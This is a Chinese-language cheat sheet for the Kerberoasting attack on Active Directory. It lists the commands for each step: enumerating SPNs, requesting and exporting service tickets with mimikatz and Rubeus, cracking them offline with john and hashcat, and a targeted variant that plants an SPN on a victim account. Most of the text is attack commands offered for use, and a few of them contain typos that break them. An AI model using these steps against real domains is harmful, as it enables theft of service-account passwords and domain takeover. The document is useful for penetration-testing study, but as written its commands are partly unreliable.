SPN服务主体名称
SPN相关知识是Kerberoasting攻击的基础
攻击原理
请求ST服务票据,由于ST是用Server Hash加密的,所以可以离线爆破出server hash
Kerberoasting 攻击的前提是服务的 SPN 注册在域用户账户下,因为机器账户的密码是随机生成的,难以破解。如果服务账户配置了弱密码,攻击者成功破解的几率将大大增加。如果破解成功,攻击者可能接管整个域,尤其是当服务账户具有较高权限时。机器账户的密钥通常是系统随机生成的128位的随机数难以破解,而与普通域用户绑定的SPN的密钥是用户密码hash后得到的128位的密钥,所以只要破解用户密码就可以得到该服务128位密钥
攻击流程:获取SPN -> 请求指定SPN服务票据ST -> 破解服务票据ST -> 伪造服务票据(白银票据)并注入内存 -> 访问对应服务
攻击过程
获取SPN
在获取ST之前要知道域内有哪些服务,所以要枚举出域内哪些SPN是跟用户账号关联的
常用命令
// PowerView枚举SPN
Powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetUser -SPN
// 查询域内所以SPN
setspn -T <domain> -Q */*
// 查询域内与某个用户绑定的SPN
setspn -L <name>/<domain>
// ActiveDirctory.ps1SPN枚举
Powershell -ep bypass
Import-Module .\ActiveDirctory.ps1
请求服务票据
// 使用.NET接口请求服务票据
Add-Type -AssembliName System.IdentityModel
New-Object System.IdentityModel.Tokens.kerberosRequestorSecurityToken - ArgumentList '<ServerType>/<Domain-name>'
// 使用mimikatz导出(普通域用户权限即可)
kerberos::list /export
// 将票据转换成可用于john破解的中间文件
python kirbi2john.py <tickets.kirbi> > <hash.txt>
// Invoke-Kerberos请求凭据
Invoke-Kerberos -Domain <Domain-Name> -OutputFormat HashCat |fl
// Rubeus工具的使用(https://github.com/GhostPack/Rubeus)
// 列举当前域环境kerberos的情况
Rubeus.exe kerberos /stats
// 请求指定服务账户的ST
Rubeus.exe kerberos /user:<serviceAccount> /simple
// 查看通过rc4opsec加密的账户通过AES加密的用户破解存在困难
Rubeus.exe kerberos /rc4opsec /stats
// 将所有通过rc4opsec加密的ST凭据导出
Rubeus.exe kerberos /rc4opsec /outfile:<hash.txt>
通过ST票据破解出服务账户的密码
// 将kirbi格式票据转换成可用于john破解的中间文件
python kirbi2john.py <tickets.kirbi> > <hash.txt>
// 使用john破解
john --wordlist=<wordlist.txt> <hash.txt>
// 字典爆破
hashcat -m 13100 --force -a 0 <hashes.kerberoast> <password_kerb.txt>
// 通过掩码枚举(大小写数字特殊字符)暴力破解min-max位的密码
// 掩码如:"?a?a?a?a?a?a?a?a" 表示
hashcat --attack-mod 3 --increment --increment-min <Min_NumOfPasswd> --increment-max <Max_NumOfPasswd> --hash-type 13100 <hashes_file> "<爆破掩码>"
Targeted Kerberoasting
如果对某个域用户具有GenericAll权限或者GenericWrite权限,则可以给目标账户设置一个SPN,然后使用kerberoasting攻击该用户
// 设置SPN
setspn -s test/myspn <domain>\<user>
// 删除SPN
setspn -D test/myspn <domain>\<user>